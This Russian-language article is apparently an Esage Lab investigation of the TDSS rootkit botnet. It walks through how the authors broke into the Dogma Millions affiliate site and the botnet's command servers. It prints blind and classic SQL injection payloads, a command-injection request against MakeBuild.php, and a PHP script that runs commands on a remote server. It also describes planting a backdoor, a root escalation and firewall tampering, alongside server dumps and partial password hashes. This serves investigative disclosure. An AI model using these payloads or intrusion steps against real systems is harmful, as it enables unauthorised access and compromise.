Exploit.SWF.Agent.br Pdfka.asd Pidief.cvl TDSS TDSS removal binary planting bios infection blind sqli bootkit bootkit remover browser exploitation com hijacking disassembling dll hijacking drive-by downloads hack online banks heap-spray hijack botnet ibank kernel protection kernel-mode rootkit keylogger malware analysis rootkit detection trojan virus removal


TDSS: полное раскрытие

Андрей Рассохин
специалист по информационной безопасности, Esage Lab
andrey@esagelab.com

Дмитрий Олексюк
системный архитектор, Esage Lab
dmitry@esagelab.com

Бот-руткит TDSS на сегодняшний день хорошо изучен. Однако ни одно из исследований не идёт дальше анализа кода вредоносной программы и источников её распространения. Данная статья призвана восполнить этот пробел, осветив скрытые механизмы ботнета и его объективные характеристики.

Алиса Шевченко. Анализ руткита TDSS.

Кроме того, при публикации этого материала мы преследовали еще одну цель: представить методологию расследования компьютерных преступлений. Данное исследование демонстрирует, как, имея на руках только инструмент злоумышленников (бинарный файл трояна), выйти на «цифровое ядро» киберформирования и проанализировать его. Следует заметить, что применяемый подход позволяет извлечь всю техническую информацию об инциденте, в то время как задача установления личностей атакующих и привлечения их к ответственности остаётся в сфере компетенции правоохранительных органов.

Партнёрская программа, «партнёрка» — веб-сервис по привлечению широкого круга веб-мастеров к распространению некоторого продукта за вознаграждение, обычно в виде доли от стоимости продукта.

Часть 1. Вскрытие

В последнее время в интернете возрождается популярность партнерских программ. Всё больше и больше крупных ботнетов, результаты исследования которых публикуются в русскоязычных и зарубежных источниках, оказываются связаны с той или иной партнёрской программой. Ботнет TDSS — возможно, самый крупный на сегодняшний день — не является исключением. Распространение вредоносной программы, обеспечивающей функционирование данного ботнета, осуществляется партнёрской программой «Dogma Millions».

Главная страница партнёрской программы dogmamillions.com

Главная страница партнёрской программы dogmamillions.com

На сайте dogmamillions.com описаны правила работы с партнёрской программой и условия для партнёров. После регистрации партнёру доступен для загрузки бинарный файл руткита TDSS, подлежащий распространению любыми удобными способами за комиссионное вознаграждение.

Личный кабинет партнера на сайте партнерской программы

Личный кабинет партнера на сайте партнерской программы

Целевая страница или «лендинг» (от английского «landing page») — веб-страница, на которую пользователь попадает в результате перехода по рекламной ссылке или направляется другими способами (например, путём открытия всплывающих окон).

Партнёрам предоставляется удобная статистика по заражённым с их помощью компьютерам и количество заработанных комиссионных, а также ссылки на целевые страницы для заражения посетителей, на которые можно направлять поисковой трафик различных тематик.

Дополнительная учётная запись со ссылкой на загрузку исполняемого файла TDSS

Дополнительная учётная запись со ссылкой на загрузку исполняемого файла TDSS

Партнёрская программа

SQL injection — метод атаки на веб-сайт, который заключается во внедрении запросов SQL в легитимные данные, получаемые веб-сервером от посетителя сайта, и считывании полноценных ответов на запросы от СУБД.

Blind SQL injection — атака идентична SQL Injection за тем исключением, что атакующий вынужден действовать вслепую, методом прощупывания базы данных при помощи отдельных SQL-запросов, результат выполнения которых должен быть сведён к бинарному формату типа «истина/ложь».

На сервере партнёрской программы использовалась база данных MySQL версии 5. Все запросы к базе данных, описанные далее, будут соответствовать языку запросов MySQL.

Поиск уязвимостей в скриптах личного кабинета не принёс результата. Однако получить доступ к базе данных всё-таки удалось: вначале при помощи атаки Blind SQL injection, а затем и классической атаки SQL injection.

Для партнёров существует возможность создания дополнительных учетных записей (subaccounts). Последние используются для анализа эффективности использования разных видов веб-трафика с разными целевыми страницы. Например, одной дополнительной учетной записи может соответствовать троян, на загрузку которого будет направляться порно-трафик. Таким образом, данный троян скачает жертва, просматривающая сайты с порнографическим содержимым. К другой может быть привязан троян, загружаемый посетителями сайтов с «крэками». В результате раздельного сбора статистики партнёр может оценить, какой вид трафика лучше подходит для работы с данной партнёрской программой, принося максимум комиссионных.

Дополнительные учётные записи создаются при помощи HTTP-запроса типа GET:

http://dogmamillions.com/index.php?request=members.sab_account&create=1

После такого запроса в личном кабинете партнёра появится дополнительная учётная запись с идентификатором 1. Её можно удалить, указав её идентификатор в соответствующем GET-запросе:

http://dogmamillions.com/index.php?request=members.sab_account&delete=1

Атака Blind SQL Injection заключалась в следующем. Необходимо было создать дополнительную учётную запись с любым произвольным идентификатором и затем попытаться его удалить. Параметр запроса delete был уязвим, поэтому возможно было провести атаку, отправив на сервер запрос следующего вида:

http://dogmamillions.com/index.php?request=members.sab_account&delete=if(ord(substring((version()),1,1))>1,1,0xffff)

Если значение выражения ord(substring((version()),1,1)) больше 1, то условие if возвращает 1, и запрос упрощенно принимает следующий вид:

http://dogmamillions.com/index.php?request=members.sab_account&delete=1

Если же условие ложно, то запрос будет иметь вид:

http://dogmamillions.com/index.php?request=members.sab_account&delete=0xffff

Таким образом, дополнительная учетная запись будет удалена только в том случае, если переданное в параметре delete условие истинно. На основе этих данных может быть проведена атака Blind SQL Injection.

Возможен и другой вариант атаки. Параметр create команды создания дополнительной учётной записи также уязвим. Запрос следующего вида приведет к созданию на сервере дополнительной учетной записи с идентификатором, равным значению выражения:

http://dogmamillions.com/index.php?request=members.sab_account&create=ord(substring((version()),1,1))

Таким образом, если версия базы данных на сервере выше 5, то первым символом строки, которую вернёт команда version(), будет «5». ASCII-код этого символа равен 53, поэтому в личном кабинете партнера появится дополнительная учётная запись с идентификатором 53.

affiliates
	affId
	affAid
	affLogin
	affPassword
	affGroup
	affBalance
	affBalanceEarnings
	affBalancePayout
	affBalanceRefferal
	affBalanceCPV
	affBalanceBonus
	affBalancePenalty
affiliatesaccounts
	affId
	affSid
bonuses
countries
cpvearnings
cronUpdateStatFeeds
	cronId
	cronCreated
	cronStart
	cronCompleted
	cronDateFrom
	cronDateTo
	cronStatus
crontime
domains
	id
	domain
	status
	category
groups
invites
managers
news
payments
paymentsfields
paymentsperiods
paymentsproperties
paymentstypes
penalties
statisticsearnings
statisticsinstalls
statisticsrefferals
substatearnings

Часть таблиц с колонками из базы данных dogmamillions.com

1:Ro**:c94405aee9b728bad************b1f
3:over****:5f4dcc3b5aa765d61************f99

Первые дополнительные учетные записи из таблицы affiliates базы данных dogmamillions.com

На основе вышеописанных уязвимостей были разработаны эксплойты, с помощью которых был произведен анализ базы данных сервера партнёрской программы.

Командные сервера

На момент проведения анализа командные сервера (C&C, command-and-control) ботнета TDSS располагались по следующим доменным именам и IP-адресам (фрагмент файла конфигурации руткита):

[tdlcmd]
servers=https://d45648675.cn/;https://d92378523.cn/;https://91.212.226.62/
wspservers=http://b11335599.cn/;http://b00882244.cn/
popupservers=http://m3131313.cn/

Управление ботнетом производится с трёх серверов, указанных в поле servers файла конфигурации. Именно их мы проверили на предмет уязвимостей в первую очередь.

В результате анализа бинарного файла бота было установлено, что отправка данных на сервера осуществляется по следующему алгоритму:

  1. формируется пакет данных;
  2. этот пакет шифруется по алгоритму RC4, причём в качестве ключа используется IP-адрес либо доменное имя целевого сервера;
  3. пакет данных дополнительно кодируется по алгоритму Base64;
  4. данные отправляются на сервер.

Таким образом, пседвокод алгоритмов шифровки и дешифровки выглядит следующим образом:

сhar *encoded_data = base64_encode(rc4_encrypt(data, key));
сhar *decoded_data = rc4_decrypt(base64_decode(data), key);

Анализ данных, передаваемых ботом на сервер, выявил уязвимости, позволяющие произвести атаки Blind SQL injection и SQL Injection.

В частности, в результате неправильного GET-запроса сервер возвращал сообщение об ошибке, в тексте которого содержалась закодированная строка и полный путь к уязвимому скрипту на сервере.

Сообщение об ошибке при неправильном запросе к серверу

Сообщение об ошибке при неправильном запросе к серверу

После расшифровки строки по описанному выше алгоритму была получена команда следующего вида:

remover|42F831D92B3BE5076B635F2347C80A41|10000|0|DDA|Trojan.Agent|C:\WINDOWS\system32\qo.dll|%SYSDIR%\qo.dll|success

Точное назначение этой команды на этапе атаки было неясным. Однако в результате её анализа было установлено, что третий параметр в списке, разделенном символом вертикальной черты, является уязвимым.

Первый вариант эксплойта, предназначенного для чтения данных из базы, был разработан с использованием метода задержки. Запрос для атаки выглядел следующим образом:

remover|42F831D92B3BE5076B635F2347C80A41|if(ord(substring((version()),1,1))>1,sleep(3),1)|0|DDA|Trojan.Agent|C:\WINDOWS\system32\qo.dll|SYSDIR\qo.dll|success

В основу этого эксплойта положена команда, при успешном выполнении которой ответ от базы данных придет с задержкой на 3 секунды, тогда как при невыполнении задержки не произойдет. Это стандартный вариант реализации атаки Blind SQL injection с задержкой с тем исключением, что вместо функции benchmark() использована функция sleep(), так как последняя не создает нагрузки на СУБД.

База данных

Приступив к атаке, мы первым делом проверили, имеет ли текущий пользователь привилегию на чтение и запись данных на сервере (File_priv). Запрос, отправленный на сервер для этой цели, до шифрования выглядел следующим образом:

remover|42F831D92B3BE5076B635F2347C80A41|if(ord(substring((SELECT File_priv FROM mysql.user WHERE (CONCAT_WS(CHAR(64),User,Host) LIKE USER())),1,1))>1,sleep(3),1)|0|DDA|Trojan.Agent|C:\WINDOWS\system32\qo.dll|SYSDIR\qo.dll|success
Результат работы эксплойта для Blind SQL Injection с задержкой

Результат работы эксплойта для Blind SQL Injection с задержкой

В результате успешной эксплуатации стало ясно, что существует возможность чтения и записи для определенных файлов на сервере. Но, поскольку читать файлы при помощи этого эксплойта было бы слишком медленным, запрос к базе данных был переделан следующим образом:

remover|42F831D92B3BE5076B635F2347C80A41|if(ord(substring((version()),1,1))>1,1,(select 1 union select 2))|0|DDA|Trojan.Agent|C:\WINDOWS\system32\qo.dll|SYSDIR\qo.dll|success

При истинном значении условия новая команда вместо задержки возвращает ошибку, а при ложном — завершается успешно.

После считывания и изучения базы данных мы переключились на чтение файлов через уязвимость.

Работа эксплойта без задержки

Работа эксплойта без задержки

Скрипты

В результате анализа кода файла index.php и подключаемых им скриптов была найдена ещё одна уязвимость, которая существенно облегчала исследование благодаря возможности сведения атаки типа Blind SQL Injection к классической атаке SQL Injection. Рассмотрим код файлов index.php и modules.php:

<?php
try {

...   

    //$_SERVER["REQUEST_URI"]
    $request      = rc4Decrypt( $_SERVER["HTTP_HOST"], base64_decode( substr( $_SERVER["REQUEST_URI"], 1 ) ) ); 
    $requestCount = 0;
    $requestHost = $_SERVER["HTTP_HOST"];

    if( $request ) {
        $request      = explode( '|', $request );
        $requestCount = sizeof( $request );
    } else {
        header("HTTP/1.0 404 Not Found");
        exit();
    }

...

    } elseif( $request[0] == 'module' ) {
        DBase::connect( DBASE_HOST , DBASE_USER , DBASE_PWD , DBASE_BASE );

         
        include( 'modules.php' );
        
        DBase::disconnect();
    } 

...

    } else {
        var_dump($request);
        var_dump( base64_encode( rc4Encrypt($_SERVER["HTTP_HOST"], 'remover|42F831D92B3BE5076B635F2347C80A41|10000|0|DDA|Trojan.Agent|C:\WINDOWS\system32\qo.dll|%SYSDIR%\qo.dll|success') ) );
        header("HTTP/1.0 404 Not Found");
        exit();
    }
    
    


} catch( Exception $e ) {
    print $e;
}

Часть скрипта index.php (многоточиями замещён опущенный код)

<?php
require_once( DIR_LIBRARY_MODELS . DS . 'mModules.php' );

    if( preg_match( "%(\d*)!(.*)!%Uis", $request[1], $matches ) ) {
        $modId    = $matches[1];
        $modCrypt = $matches[2];
    } else {
        $modId    = $request[1];
        $modCrypt = FALSE;
    }

    $modDetails = mModules::details( $modId );

    if( $modCrypt ) {
        print rc4Encrypt( $modCrypt, $modDetails['modData'] );
    } else {
        print $modDetails['modData'];
    }
    
    mModules::increment( $modId );

Уязвимый параметр в скрипте modules.php

Как видно из последнего листинга, значение параметра $request[1] не проверяется перед использованием в коде скрипта. Для данной уязвимости был разработан эксплойт, позволявший выполнять чтение файлов и базы данных в 10 раз быстрее, чем предыдущий:

module|-1 union select 0,1,count(*),3 from users

Данный запрос возвращает количество записей в таблице users в тексте сообщения об ошибке, возвращенном сервером.

Проверка эксплойта SQL Injection и ответ сервера на запрос

Проверка эксплойта SQL Injection и ответ сервера на запрос

Таким образом, была получена возможность использовать атаку типа SQL Injection, что существенно упростило и ускорило изучение сервера.

Следующей задачей было создание файла со скриптом, при помощи которого можно было бы выполнять команды к серверу напрямую, не используя атаку на MySQL.

«Чёрный ход»

На этапе внедрения скрипта для удалённого управления сервером возникло затруднение: а именно, все GET-запросы к серверу перенаправлялись на файл index.php. Таким образом, успешно разместив на сервере скрипт «чёрного хода», мы не могли к нему обратиться. Обойти это ограничение можно было путем модификации файла конфигурации веб-сервера.

Для поиска файла конфигурации был произведен опрос различных возможных путей к нему через уязвимость SQL Injection. В качестве инструмента для тестирования вариантов пути к файлу использовалась программа с открытым кодом wfuzz, слегка модифицированная для обеспечения шифровки данных перед их отправкой на сервер. В результате тестирования был найден файл конфигурации веб-сервера: /etc/lighttpd/lighttpd.conf.

Содержимое файла lighttpd.conf

Содержимое файла lighttpd.conf

Листинг файла конфигурации дает представление о том, что перенаправление запросов на index.php происходило с помощью модуля mod_rewrite, а настройки для виртуальных серверов подключались в отдельном скрипте на языке Perl. В указанном скрипте, в свою очередь, подключались файлы конфигурации с настройками для отдельных виртуальных серверов, имена которых получались путем перечисления файлов в заданной директории. Таким образом, путь к нужному нам для обхода перенаправления файлу был по-прежнему неизвестен.

Для файла с настройками перенаправления был составлен и протестирован объемный список, содержащий доменные имена и IP-адреса, входящие и входившие в ботнет TDSS.

/etc/lighttpd/sites-enabled/212.117.162.50.conf
/etc/lighttpd/sites-enabled/212.117.162.1.conf
/etc/lighttpd/sites-enabled/91.212.226.59.conf
/etc/lighttpd/sites-enabled/91.212.226.60.conf
/etc/lighttpd/sites-enabled/91.212.226.61.conf
/etc/lighttpd/sites-enabled/91.212.226.62.conf
/etc/lighttpd/sites-enabled/91.212.226.63.conf
/etc/lighttpd/sites-enabled/91.212.226.64.conf
/etc/lighttpd/sites-enabled/91.212.226.65.conf
/etc/lighttpd/sites-enabled/91.212.226.66.conf
/etc/lighttpd/sites-enabled/91.212.226.67.conf
/etc/lighttpd/sites-enabled/195.24.72.6.conf
/etc/lighttpd/sites-enabled/83.243.8.6.conf
/etc/lighttpd/sites-enabled/server.lu.conf
/etc/lighttpd/sites-enabled/www.server.lu.conf

Часть списка возможных путей к файлам конфигурации

Однако желаемый результат был достигнут лишь в результате интеллектуального перебора возможных путей вручную. Итак, был найден файл конфигурации целевого виртуального сервера: /etc/lighttpd/sites-enabled/engine.conf.

$SERVER["socket"] == "91.212.226.63:80" {
        $HTTP["host"] =~ "(.*)?" {
	server.document-root = "/var/www/dm_builder/php/"
#                url.redirect = ( "^/phpmyadmin/(.*)" => "https://213.133.110.18/phpmyadmin/$1" )
                url.rewrite-once = ( "^/087dggl094aa/\?aid=(.*)&sid=(.*)$" => "/MakeBuild.php?aid=$1&sid=$2" )

		accesslog.filename = "/var/log/lighttpd/build.log"
        }
        server.document-root = "/var/www/dm_builder/php/"
}

$SERVER["socket"] == "212.117.162.50:80" {
        $HTTP["host"] =~ "(.*)?" {
        server.document-root = "/var/www/dm_builder/php/"
#                url.redirect = ( "^/phpmyadmin/(.*)" => "https://213.133.110.18/phpmyadmin/$1" )
                url.rewrite-once = ( "^/087dggl094aa/\?aid=(.*)&sid=(.*)$" => "/MakeBuild.php?aid=$1&sid=$2" )
                accesslog.filename = "/var/log/lighttpd/build.log"
        }
        server.document-root = "/var/www/dm_builder/php/"
}

$SERVER["socket"] == "91.212.226.60:443" {
        ssl.engine = "enable"
        ssl.pemfile = "/etc/lighttpd/ssl/chief.pem"
        server.document-root = "/var/www/engine/public"
        server.errorlog = "/var/log/lighttpd/engine_error.log"
        accesslog.filename = "/var/log/lighttpd/engine_access.log"
        url.rewrite-once = ( "^/(.*)$" => "/index.php?request=$1" )
}

Часть файла engine.conf

Файл конфигурации содержал настройки для шести серверов, только для двух из которых были созданы правила перенаправления HTTP-запросов на файл index.php. Для остальных серверов осуществлялось перенаправление HTTPS-запросов на скрипт MakeBuild.php.

Анализ скрипта MakeBuild.php с помощью последнего из разработанных эксплойтов показал, что в его задачи входит сборка и конфигурация исполняемого файла руткита TDSS. Скрипт принимает на вход несколько параметров, один из которых предоставляет собой отладочную информацию о сборке трояна.

<?
if (!isset($_GET['aid'])) exit();
$AID=$_GET['aid'];
$SID=$_GET['sid'];
if (empty($SID)) $SID=0;

$DBG=$_GET['dbg'];
$ENC=$_GET['enc'];

/*if ($AID == 20034 || $AID == 20124)
{
	$url = "http://213.133.110.18/03kd7nml094hx09/?aid={$AID}&sid={$SID}";
	if ($ENC) $url .= "&enc={$ENC}";
	if ($DBG) $url .= "&dbg={$DBG}";
	header("HTTP/1.1 302 Found");
	header("Location: {$url}");
	exit();
}*/

$BuildPath="./builds/{$AID}-{$SID}.exe";
$ExitStatus=null;


if(!chdir('/var/www/builder/')) exit();//exit('Error: Can\'t ChDir');
exec("/usr/bin/wine builder.exe {$AID} {$SID}",$OutPut,$ExitStatus);
if ($DBG)
{
unlink($BuildPath);
echo "<html><pre>\n+------------------------------+\n"; print_r($OutPut); echo "\n=------------------------------=\n"; exit('Builder exit status: '.$ExitStatus);
}

Часть скрипта MakeBuild.php

Скрипт MakeBuild.php оказался уязвимым к атаке на удаленное исполнение кода (remote code execution). В частности, как видно из листинга, входные параметры скрипта не фильтруются, а передаются напрямую в функцию exec(). Дополнительно, если использовать параметр dbg в запросе к скрипту, то в отладочном выводе будет напечатан результат выполнения команды.

В результате выполнения следующего запроса выводится список файлов в текущей директории:

http://91.212.226.63/087dggl094aa/MakeBuild.php?aid=;ls;&dbg=1

Через эту уязвимость на сервер был загружен скрипт для удаленного управления.

Повышение привилегий

Права root на сервере были получены с помощью эксплойта для уязвимости sock_sendpage(), который потребовал небольшой модификации для обеспечения его выполнения в 64-битной операционной системе сервера.

Директория /root на командном сервере сервере TDSS

Директория /root на командном сервере сервере TDSS

Панель управления

Настройки для панели управления ботнетом содержались в файле engine_admin.conf, расположенном в той же директории, что и файл engine.conf.

$SERVER["socket"] == "91.212.226.59:443" {
        ssl.engine = "enable"
        ssl.pemfile = "/etc/lighttpd/ssl/chief.pem"
#        $HTTP["host"] =~ "^engineadmin\.com$" {
                server.document-root = "/var/www/engine/tools/public"
                server.errorlog = "/var/log/lighttpd/admin.engine_error.log"
                accesslog.filename = "/var/log/lighttpd/admin.engine_access.log"

                url.rewrite-once = ( "^/([0-9a-zA-Z/]+)/?\??(.*=.*)?$" => "/index.php?request=$1&$2" )

                $HTTP["url"] =~ "^/" {
                        auth.backend = "htpasswd"
                        auth.backend.htpasswd.userfile = "/etc/lighttpd/htpasswd.engine"
                        auth.require = (
                                "/" => (
                                        "method" => "basic",
                                        "realm" => "Use your credit card number as username, cvv2 as password. Thank you ;)",
                                        "require" => "valid-user"
                                )
                        )
                }

#        }
}

Содержимое файла engine_admin.conf

Как видно из файла, адрес панели администрирования — 91.212.226.59. Однако открыть этот адрес в веб-браузере не удавалось: наш IP-адрес не входил в «белый список» доступа. Обойти эту защиту позволила модификация правил фаервола, описанных в файле /root/ipt.rules.

-A INPUT -i lo -j ACCEPT 
-A INPUT -s 66.148.74.126/32 -p tcp -m tcp -m multiport --dports 22,443,80,873,3306 -j ACCEPT 
-A INPUT -s 188.40.72.68/32 -p tcp -m tcp -m multiport --dports 22,443,80,873,3306 -j ACCEPT
-A INPUT -s 188.40.72.125/32 -p tcp -m tcp -m multiport --dports 22,443,80,873,3306 -j ACCEPT
-A INPUT -s 204.12.213.144/29 -p tcp -m tcp -m multiport --dports 22,443,80,873,3306 -j ACCEPT
-A INPUT -s 91.212.226.49/32 -p tcp -m tcp -m multiport --dports 22,443,80,873,3306 -j ACCEPT
-A INPUT -d 212.117.162.50/32 -p tcp -m tcp -m multiport --dports 443,80 -j REJECT --reject-with icmp-port-unreachable 
-A INPUT -d 91.212.226.59/32 -p tcp -m tcp -m multiport --dports 443,80 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i eth0 -p tcp -m tcp -m multiport --dports 3306 -j REJECT --reject-with icmp-port-unreachable 
-A INPUT -s 195.138.81.135/32 -p tcp -m tcp --dport 22 -j ACCEPT 
-A INPUT -i eth0 -p tcp -m tcp --dport 873 -j REJECT --reject-with icmp-port-unreachable 
-A INPUT -i eth0 -p tcp -m tcp --dport 22 -j REJECT --reject-with icmp-port-unreachable 
COMMIT

Изначальное содержимое файла ipt.rules

Таким образом, доступ к сайту панели управления был получен, но для входа в панель требовалась стандартная авторизация (Basic Authorisation). Пароли для входа хранились в файле htpasswd.engine в зашифрованном виде. Но, вместо подбора паролей, для первого доступа мы подменили файл htpasswd.engine целиком. Позже выяснилось, что логины и пароли к панели управления хранились в базе данных без шифрования, что позволило использовать их для дальнейшего доступа.

Запрос авторизации при входе в административную панель

Запрос авторизации при входе в административную панель

Панель администрирования командного сервера ботнета представляла собой удобный веб-интерфейс для получения подробной статистики о зараженных компьютерах. Стоит отметить такие возможности, как отображение информации о количестве загрузок, статистика по странам, операционным системам и веб-браузерам зараженных компьютеров, просмотр подгружаемых модулей и запущенных на выполнение команд.

Статистика числа заражений по дням

Статистика числа заражений по дням

Статистика по операционным системам

Статистика по операционным системам

Запущенные на выполнение команды

Запущенные на выполнение команды

Статистика по странам

Статистика по странам

Модули TDSS

Модули TDSS

Смена серверов

Тем временем начала распространяться новая версия бота TDSS (3.64). В этой версии сменились адреса командных серверов.
[tdlcmd]
servers=https://a57990057.cn/;https://a58990058.cn/;https://94.228.209.145/
wspservers=http://c36996639.cn/;http://c58446658.cn/
popupservers=http://m2121212.cn/

Фронтенд (front-end) — дополнительный HTTP-сервер для выдачи статического содержимого сайта. Используется в целях оптимизации ресурсов веб-серверов с высокой нагрузкой.

Скрипты новых серверов претерпели некоторые изменения. В частности, была исправлена уязвимость с выводом ошибки при неверном GET-запросе к серверу. Но, поскольку все остальные найденные ранее уязвимости успешно функционировали, то было возможно прочитать файл index.php. Его код оказался доработан: теперь все исключения записывались в файл лога. Настройки сервера также претерпели изменения. В частности, в дополнение к HTTP-серверу lighttpd в качестве фронтенда был установлен дополнительный веб-сервер nginx.

Конфигурацонный файл виртуальных серверов на новом сервере остался прежним: engine.conf.

Таким образом, панель администрирования сервера теперь располагалась по адресу 188.72.242.191, а наш скрипт удаленного управления остался на сервере с по адресу 188.72.242.190. Как видно из листинга, каждому IP-адресу соответствует отдельное доменное имя. Возможность использования «чёрного хода» оказалась недоступна. Для обхода этого ограничения был разработан следующий скрипт:

<?php

$fp = fsockopen("ssl://94.228.209.145",443,$errno,$errstr);
if(!$fp) die("[e] $errno,$errstr");
$header  = "GET /MakeBuild.php?aid=;".urlencode($argv[1]).";&dbg=1 HTTP/1.1\r\n";
$header .= "Host: bld.newnetengine.com\r\n";
$header .= "Connection: close\r\n\r\n";

fwrite($fp,$header);
while(!feof($fp)) print(fgets($fp,256));
fclose($fp);

print $buff;

Скрипт для выполнения команд на новом сервере через файл MakeBuild.php

Данный скрипт обеспечивает отправку запроса к скрипту MakeBuild.php путем подстановки доменного имени сервера, на котором хранится файл скрипта (bld.newnetengine.com), в поле Host HTTP-запроса. Получив такой запрос, HTTP-сервер nginx на командном сервере перенаправлял его на указанный сервер и возвращал ответ.

Часть 2. Анализ

Командный сервер ботнета работает под управлением 64-разрядной операционной системы Ubuntu Linux:

# uname -a
Linux C020 2.6.29.2 #1 SMP Sun Jul 26 11:29:05 CEST 2009 x86_64 GNU/Linux 
# cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=9.04
DISTRIB_CODENAME=jaunty
DISTRIB_DESCRIPTION="Ubuntu 9.04"

Для сетевого интерфейса eth0 назначено 10 IP-адресов:

# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
          inet addr:212.117.162.50  Bcast:212.117.162.255  Mask:255.255.255.0
          inet6 addr: fe80::221:85ff:fe63:2c55/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:8401814139 errors:0 dropped:0 overruns:0 frame:0
          TX packets:7557368326 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:855626520252 (855.6 GB)  TX bytes:4595270022127 (4.5 TB)
          Interrupt:17 Base address:0x2000 

eth0:1    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
          inet addr:91.212.226.59  Bcast:91.255.255.255  Mask:255.255.255.255
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Interrupt:17 Base address:0x2000 

eth0:2    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
          inet addr:91.212.226.60  Bcast:91.255.255.255  Mask:255.255.255.255
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Interrupt:17 Base address:0x2000 

eth0:3    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
          inet addr:91.212.226.61  Bcast:91.255.255.255  Mask:255.255.255.255
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Interrupt:17 Base address:0x2000 

eth0:4    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
          inet addr:91.212.226.62  Bcast:91.255.255.255  Mask:255.255.255.255
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Interrupt:17 Base address:0x2000 

eth0:5    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
          inet addr:91.212.226.63  Bcast:91.255.255.255  Mask:255.255.255.255
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Interrupt:17 Base address:0x2000 

eth0:6    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
          inet addr:91.212.226.64  Bcast:91.255.255.255  Mask:255.255.255.255
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Interrupt:17 Base address:0x2000 

eth0:7    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
          inet addr:91.212.226.65  Bcast:91.255.255.255  Mask:255.255.255.255
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Interrupt:17 Base address:0x2000 

eth0:8    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
          inet addr:91.212.226.66  Bcast:91.255.255.255  Mask:255.255.255.255
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Interrupt:17 Base address:0x2000 

eth0:9    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
          inet addr:91.212.226.67  Bcast:91.255.255.255  Mask:255.255.255.255
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Interrupt:17 Base address:0x2000 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:10295737718 errors:0 dropped:0 overruns:0 frame:0
          TX packets:10295737718 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:3644745121946 (3.6 TB)  TX bytes:3644745121946 (3.6 TB)

Из них четыре (91.212.226.60, 91.212.226.61, 91.212.226.62 и 91.212.226.64) используются для доступа к веб-шлюзу, с которым работают боты, два (91.212.226.63 и 212.117.162.50) — для доступа к веб-интерфейсу для сборки и конфигурации бота, и один (91.212.226.59) — для доступа к панели администрирования ботнета.

Учетные записи локальных пользователей в файле /etc/shadow

Учетные записи локальных пользователей в файле /etc/shadow

Список запущенных процессов на сервере на момент анализа выглядел следующим образом:

  PID TTY      STAT   TIME COMMAND
 1076 ?        S<s    0:04 /sbin/udevd --daemon
 1575 ?        S    1154:22 /usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf
 2453 ?        Ss     0:00 /sbin/mdadm --monitor --pid-file /var/run/mdadm/monitor.pid --daemonise --scan --syslog
 3801 tty2     Ss+    0:00 /sbin/getty 38400 tty2
 3826 ?        Ss     0:16 /sbin/syslogd -u syslog
 3845 ?        S      0:00 /bin/dd bs 1 if /proc/kmsg of /var/run/klogd/kmsg
 3848 ?        Ss     0:00 /sbin/klogd -P /var/run/klogd/kmsg
 3890 ?        Ss     1:54 /bin/dbus-daemon --system
 3936 ?        Ssl   69:36 /usr/sbin/named -u bind
 3973 ?        Ss     0:01 /usr/sbin/ntpd -p /var/run/ntpd.pid -u 108:117 -g
 3986 ?        Ss     0:01 /usr/sbin/sshd
 3991 ?        Sl   1736:18 /usr/bin/memcached -m 2048 -p 11211 -u nobody -l 127.0.0.1
 4067 ?        Ss     0:00 /usr/lib/postfix/master
 4084 ?        S      0:00 qmgr -l -t fifo -u
 4086 ?        Ss     0:00 /usr/sbin/winbindd
 4113 ?        S      0:00 /usr/sbin/winbindd
 4118 ?        Ss    86:34 avahi-daemon: running [C020.local]
 4119 ?        Ss     0:00 avahi-daemon: chroot helper
 4134 ?        S      0:00 /usr/bin/rsync --no-detach --daemon --config /etc/rsyncd.conf
 4185 ?        Ss     0:03 /usr/sbin/cron
 4220 tty1     Ss+    0:00 /sbin/getty 38400 tty1
 4225 ?        Ssl   36:54 /usr/sbin/console-kit-daemon
 4436 ?        S<   223:30 [loop3]
 4465 ?        S<    72:26 [kjournald2]
 4498 ?        S      0:00 /bin/sh /usr/bin/mysqld_safe
 4728 ?        SLl  87943:36 /usr/sbin/mysqld
 6773 ?        S      0:39 /usr/bin/php-cgi
 7303 ?        S      0:32 /usr/bin/php-cgi
 7320 ?        S      0:31 /usr/bin/php-cgi
 7447 ?        S      0:27 /usr/bin/php-cgi
 7590 ?        S      0:25 /usr/bin/php-cgi
 7796 ?        S      0:19 /usr/bin/php-cgi
 7944 ?        S      0:16 /usr/bin/php-cgi
 7982 ?        S      0:15 /usr/bin/php-cgi
 8002 ?        S      0:00 /USR/SBIN/CRON
 8048 ?        Ss     0:00 /bin/sh -c /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildslife.php
 8058 ?        S      0:05 /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildslife.php
 8243 ?        S      0:00 /USR/SBIN/CRON
 8282 ?        Ss     0:00 /bin/sh -c /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildsmlife.php
